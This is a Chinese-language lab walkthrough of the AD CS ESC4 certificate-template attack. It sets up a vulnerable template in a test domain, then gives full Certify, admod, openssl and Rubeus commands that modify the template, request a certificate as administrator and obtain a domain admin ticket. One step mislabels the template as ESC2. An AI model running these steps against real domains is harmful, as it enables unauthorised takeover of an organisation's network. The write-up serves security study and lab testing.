原理
在AD中,证书模板属于安全对象,由安全描述符规定AD主体对其的访问权限。若模板赋予非特权AD主机编辑权限,就存在安全风险。当攻击者获得模板对象的writeProperty权限,就能修改模板的AD对象属性,比如在mspki-certificate-name-flag属性里启用CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT标志,从而引发与ESC1类似的攻击风险。
漏洞利用条件
证书权限:Authenticated Users具备注册、写入证书的权限。
漏洞环境构造
配置证书模板
在ADCS服务器中运行中输入certtmpl.msc打开证书模板控制台,右键复制工作站身份验证
常规
模板名称设置为ESC4
安全
将Authenticated Users加入注册权限
使用者名称
选择在请求中提供,开启CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
扩展
选择应用程序策略,将策略设置为客户端身份验证
发布证书模板
打开certsrv.msc
在证书颁发机构中的证书模板右键点击新建要颁发的证书模板,选择新复制的模板ESC2确定添加
漏洞环境检测
使用Certify检测有没有证书配置错误
Certify.exe find /vulnerable
当普通用户具备对证书模板写入的条件,可利用证书漏洞伪装成域管理员获取更高权限。
漏洞利用
使用admod修改mspki-certificate-name-flag
admod.exe -b "CN=ESC4,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=lutra,DC=com" "msPKI-Certificate-Name-Flag::1"
再次使用Certify检测,发现已经具备ESC1利用条件
再次回到证书服务器,查看ESC4证书模板,发现使用者名称已经被改为在请求中提供
在普通域用户下,使用Certify.exe以administrator身份申请ESC4证书
Certify.exe request /ca:adcs.lutra.com\lutra-ADCS-CA /template:ESC4 /altname:administrator
将申请的证书复制保存为cert.pem,使用openssl转为cert.pfx,密码为空即可
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
使用Rubeus请求域管administrator的TGT
Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /dc:192.168.110.127 /ptt
将域控制器身份验证注册后再次执行,成功导入票据
导入票据后,已经有权限访问域控目录